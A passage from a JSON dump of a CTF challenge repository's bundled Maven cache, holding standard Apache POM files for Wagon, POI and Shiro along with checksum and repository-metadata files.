<artifactId>surefire-shadefire</artifactId>\n            <version>${shadedVersion}</version>\n          </dependency>\n        </dependencies>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <minimizeJar>true</minimizeJar>\n              <artifactSet>\n                <includes>\n                  <include>commons-lang:commons-lang</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.apache.commons.lang</pattern>\n                  <shadedPattern>org.apache.maven.surefire.shade.org.apache.commons.lang</shadedPattern>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/surefire-booter-2.17.pom.sha1",
    "content": "4597f4129e4d8c561ef69718f0b02e55cabfe231"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:18 CST 2018\nwagon-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon/1.0/wagon-1.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-parent</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>20</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.wagon</groupId>\n  <artifactId>wagon</artifactId>\n  <version>1.0</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Wagon</name>\n  <description>Tools to manage artifacts and deployment</description>\n  <url>http://maven.apache.org/wagon</url>\n  <inceptionYear>2003</inceptionYear>\n\n  <developers>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>michal@codehaus.org</email>\n      <organization>Codehaus</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>James William Dumay</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Gregory Block</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Recloux</name>\n    </contributor>\n    <contributor>\n      <name>Trustin Lee</name>\n    </contributor>\n    <contributor>\n      <name>John Wells</name>\n    </contributor>\n    <contributor>\n      <name>Marcel Schutte</name>\n    </contributor>\n    <contributor>\n      <name>David Hawkins</name>\n    </contributor>\n    <contributor>\n      <name>Juan F. Codagnone</name>\n    </contributor>\n    <contributor>\n      <name>ysoonleo</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Champagne</name>\n    </contributor>\n    <contributor>\n      <name>M. van der Plas</name>\n    </contributor>\n    <contributor>\n      <name>Jason Dillon</name>\n    </contributor>\n    <contributor>\n      <name>Jochen Wiedmann</name>\n    </contributor>\n    <contributor>\n      <name>Gilles Scokart</name>\n    </contributor>\n    <contributor>\n      <name>Wolfgang Glas</name>\n    </contributor>\n    <contributor>\n      <name>Kohsuke Kawaguchi</name>\n    </contributor>\n    <contributor>\n      <name>Antti Virtanen</name>\n    </contributor>\n    <contributor>\n      <name>Thorsten Heit</name>\n    </contributor>\n    <contributor>\n      <name>Benson Margulies</name>\n      <email>bimargulies@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>America/Boston</timezone>\n    </contributor>\n  </contributors>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/wagon/tags/wagon-1.0</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/wagon/tags/wagon-1.0</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/wagon/tags/wagon-1.0</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/WAGON</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/hudson/job/maven-wagon/</url>\n  </ciManagement>\n\n  <modules>\n    <module>wagon-provider-api</module>\n    <module>wagon-providers</module>\n    <module>wagon-provider-test</module>\n    <module>wagon-tcks</module>\n  </modules>\n\n  <properties>\n    <maven.test.redirectTestOutputToFile>true</maven.test.redirectTestOutputToFile>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-provider-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-provider-test</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh-common-test</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh-common</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-interactivity-api</artifactId>\n        <version>1.0-alpha-6</version>\n        <exclusions>\n          <exclusion>\n            <groupId>plexus</groupId>\n            <artifactId>plexus-utils</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.codehaus.plexus</groupId>\n            <artifactId>plexus-container-default</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>classworlds</groupId>\n            <artifactId>classworlds</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.4.2</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/wagon/tags</tagBase>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/wagon-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <!-- the one in maven-parent-10 and after is no longer backward compatible-->\n          <version>1.3.5</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>generate</id>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n            <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n            <link>http://commons.apache.org/dbcp/apidocs/</link>\n            <link>http://commons.apache.org/fileupload/apidocs/</link>\n            <link>http://commons.apache.org/httpclient/apidocs/</link>\n            <link>http://commons.apache.org/logging/apidocs/</link>\n            <link>http://commons.apache.org/pool/apidocs/</link>\n            <link>http://junit.sourceforge.net/javadoc/</link>\n            <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n            <link>http://jakarta.apache.org/regexp/apidocs/</link>\n            <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-artifact/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-artifact-manager/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-model/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-plugin-api/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-project/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-reporting/maven-reporting-api/apidocs/</link>\n            <link>http://maven.apache.org/ref/current/maven-settings/apidocs/</link>\n          </links>\n          <!--\n          <doclet>gr.spinellis.umlgraph.doclet.UmlGraph</doclet>\n          <docletArtifact>\n            <groupId>gr.spinellis</groupId>\n            <artifactId>UmlGraph</artifactId>\n            <version>4.4</version>\n          </docletArtifact>\n          <additionalparam>\n            -inferrel -inferdep -quiet -hide java.* -collpackages java.util.* -qualify\n            -postfixpackage -nodefontsize 9\n            -nodefontpackagesize 7\n          </additionalparam>\n           -->\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon/1.0/wagon-1.0.pom.sha1",
    "content": "eaecb83d41d4c4e674f2c532ef70fddbabc5f247"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nwagon-provider-api-1.0.jar>central=\nwagon-provider-api-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/wagon-provider-api-1.0.jar.sha1",
    "content": "12bcd211158c0c09b027d06b70371861398fedea"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/wagon-provider-api-1.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.wagon</groupId>\n    <artifactId>wagon</artifactId>\n    <version>1.0</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>wagon-provider-api</artifactId>\n  <name>Maven Wagon API</name>\n  <description>Maven Wagon API that defines the contract between different Wagon implementations</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>easymock</groupId>\n      <artifactId>easymock</artifactId>\n      <version>1.2_Java1.3</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/wagon/wagon-provider-api/1.0/wagon-provider-api-1.0.pom.sha1",
    "content": "26b03d1e63fd15ea5a6898282d4aee600a6170de"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\npoi-3.15.jar>central=\npoi-3.15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/poi-3.15.jar.sha1",
    "content": "965bba8899988008bb2341e300347de62aad5391  maven/poi/poi-3.15.jar\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/poi-3.15.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>org.apache.poi</groupId>\n\t<artifactId>poi</artifactId>\n\t<version>3.15</version>\n\t<packaging>jar</packaging>\n\t<name>Apache POI</name>\n\t<url>http://poi.apache.org/</url>\n\t<description>Apache POI - Java API To Access Microsoft Format Files</description>\n\n  <mailingLists>\n    <mailingList>\n      <name>POI Users List</name>\n      <subscribe>user-subscribe@poi.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@poi.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/poi-user/</archive>\n    </mailingList>\n    <mailingList>\n      <name>POI Developer List</name>\n      <subscribe>dev-subscribe@poi.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@poi.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/poi-dev/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n    </license>\n  </licenses>\n\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n\n  <dependencies>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.2</version>\n      <scope>runtime</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.17</version>\n      <scope>runtime</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>commons-codec</groupId>\n      <artifactId>commons-codec</artifactId>\n      <version>1.10</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.hamcrest</groupId>\n      <artifactId>hamcrest-core</artifactId>\n      <scope>test</scope>\n      <version>1.3</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n      <version>4.12</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-collections4</artifactId>\n      <version>4.1</version>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/poi/poi/3.15/poi-3.15.pom.sha1",
    "content": "e07c4af65d07241dccd4ee978127c6526ad08ee3  maven/poi/poi-3.15.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nshiro-core-1.2.2.jar>central=\nshiro-core-1.2.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/shiro-core-1.2.2.jar.sha1",
    "content": "b4a506e331007e769baf34a6015e5b17b3de7d19"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/shiro-core-1.2.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n    <parent>\n        <groupId>org.apache.shiro</groupId>\n        <artifactId>shiro-root</artifactId>\n        <version>1.2.2</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n    <artifactId>shiro-core</artifactId>\n    <name>Apache Shiro :: Core</name>\n    <packaging>bundle</packaging>\n\n    <build>\n        <plugins>\n            <!-- collect the test classes so they can be referenced by other modules -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>test-jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.felix</groupId>\n                <artifactId>maven-bundle-plugin</artifactId>\n                <extensions>true</extensions>\n                <configuration>\n                    <instructions>\n                        <Bundle-SymbolicName>org.apache.shiro.core</Bundle-SymbolicName>\n                        <Export-Package>org.apache.shiro*;version=${project.version}</Export-Package>\n                        <Import-Package>\n                            org.apache.shiro*;version=\"${shiro.osgi.importRange}\",\n                            org.apache.commons.beanutils*;resolution:=optional,\n                            *\n                        </Import-Package>\n                    </instructions>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>commons-beanutils</groupId>\n            <artifactId>commons-beanutils</artifactId>\n        </dependency>\n        <!-- For Java 1.4 and below only: - ->\n        <dependency>\n            <groupId>backport-util-concurrent</groupId>\n            <artifactId>backport-util-concurrent</artifactId>\n        </dependency>\n        -->\n\n        <!-- Test dependencies -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>jcl-over-slf4j</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-log4j12</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>javax.mail</groupId>\n                    <artifactId>mail</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- JDBC Realm tests: -->\n        <dependency>\n            <groupId>hsqldb</groupId>\n            <artifactId>hsqldb</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.2/shiro-core-1.2.2.pom.sha1",
    "content": "b98b48fa52e221d49cdd3cd4a8320b8391f1c9ca"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nshiro-core-1.2.3.jar>central=\nshiro-core-1.2.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/shiro-core-1.2.3.jar.sha1",
    "content": "4ddf1b83360c7e39f02e3e20ca364d2c448ed01f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/shiro-core-1.2.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n    <parent>\n        <groupId>org.apache.shiro</groupId>\n        <artifactId>shiro-root</artifactId>\n        <version>1.2.3</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n    <artifactId>shiro-core</artifactId>\n    <name>Apache Shiro :: Core</name>\n    <packaging>bundle</packaging>\n\n    <build>\n        <plugins>\n            <!-- collect the test classes so they can be referenced by other modules -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>test-jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.felix</groupId>\n                <artifactId>maven-bundle-plugin</artifactId>\n                <extensions>true</extensions>\n                <configuration>\n                    <instructions>\n                        <Bundle-SymbolicName>org.apache.shiro.core</Bundle-SymbolicName>\n                        <Export-Package>org.apache.shiro*;version=${project.version}</Export-Package>\n                        <Import-Package>\n                            org.apache.shiro*;version=\"${shiro.osgi.importRange}\",\n                            org.apache.commons.beanutils*;resolution:=optional,\n                            *\n                        </Import-Package>\n                    </instructions>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>commons-beanutils</groupId>\n            <artifactId>commons-beanutils</artifactId>\n        </dependency>\n        <!-- For Java 1.4 and below only: - ->\n        <dependency>\n            <groupId>backport-util-concurrent</groupId>\n            <artifactId>backport-util-concurrent</artifactId>\n        </dependency>\n        -->\n\n        <!-- Test dependencies -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>jcl-over-slf4j</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-log4j12</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>javax.mail</groupId>\n                    <artifactId>mail</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- JDBC Realm tests: -->\n        <dependency>\n            <groupId>hsqldb</groupId>\n            <artifactId>hsqldb</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-core/1.2.3/shiro-core-1.2.3.pom.sha1",
    "content": "fa30bf2c6c6edce9e7851875ae9460bda07d9e1f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:35 CST 2018\nshiro-root-1.2.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.2/shiro-root-1.2.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <!-- pick up Apache distributionManagement for releasing (snapshots, releases, etc): -->\n    <parent>\n        <groupId>org.apache</groupId>\n        <artifactId>apache</artifactId>\n        <version>7</version>\n    </parent>\n\n    <groupId>org.apache.shiro</groupId>\n    <artifactId>shiro-root</artifactId>\n    <packaging>pom</packaging>\n    <version>1.2.2</version>\n\n    <name>Apache Shiro</name>\n    <url>http://shiro.apache.org/</url>\n    <description>\n        Apache Shiro is a powerful and flexible open-source security framework that cleanly handles\n        authentication, authorization, enterprise session management, single sign-on and cryptography services.\n    </description>\n    <inceptionYear>2004</inceptionYear>\n\n    <scm>\n        <connection>scm:svn:http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.2</connection>\n        <developerConnection>scm:svn:https://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.2</developerConnection>\n        <url>http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.2</url>\n    </scm>\n    <issueManagement>\n        <system>Jira</system>\n        <url>http://issues.apache.org/jira/browse/SHIRO</url>\n    </issueManagement>\n    <ciManagement>\n        <system>Hudson</system>\n        <url>http://hudson.zones.apache.org/hudson/view/Shiro/</url>\n    </ciManagement>\n\n    <distributionManagement>\n        <site>\n            <id>shiro.website</id>\n            <name>Apache Shiro Site</name>\n            <url>scp://people.apache.org/www/shiro.apache.org/static/latest</url>\n        </site>\n    </distributionManagement>\n\n    <properties>\n\n        <!-- Replaced by the build number plugin at build time: -->\n        <buildNumber>${user.name}-${maven.build.timestamp}</buildNumber>\n\n        <!-- non-dependency-based properties: -->\n        <shiro.osgi.importRange>[1.2, 2)</shiro.osgi.importRange>\n\n        <!-- Compile 3rd party dependencies: -->\n        <!-- Don't change this version without also changing the shiro-aspect and shiro-features\n             modules' OSGi metadata: -->\n        <aspectj.version>1.6.12</aspectj.version>\n        <commons.cli.version>1.2</commons.cli.version>\n        <commons.codec.version>1.4</commons.codec.version>\n        <crowd.version>1.5.2</crowd.version>\n        <!-- Don't change this version without also changing the shiro-ehcache and shiro-features\n             modules' OSGi metadata: -->\n        <ehcache.version>2.5.0</ehcache.version>\n        <hsqldb.version>1.8.0.7</hsqldb.version>\n        <jdk.version>1.5</jdk.version>\n        <jetty.version>6.1.26</jetty.version>\n        <!-- Don't change this version without also changing the shiro-quartz and shiro-features\n             modules' OSGi metadata: -->\n        <quartz.version>1.6.1</quartz.version>\n        <slf4j.version>1.6.4</slf4j.version>\n        <spring.version>3.1.0.RELEASE</spring.version>\n        <guice.version>3.0</guice.version>\n        <guava.version>r09</guava.version>\n\n        <!-- Test 3rd-party dependencies: -->\n        <easymock.version>3.1</easymock.version>\n        <gmaven.version>1.3</gmaven.version>\n        <groovy.version>1.8.5</groovy.version>\n        